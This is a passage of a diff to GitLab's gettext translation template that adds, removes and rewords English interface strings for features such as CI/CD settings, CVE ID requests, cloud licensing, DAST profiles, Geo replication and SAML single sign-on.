-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
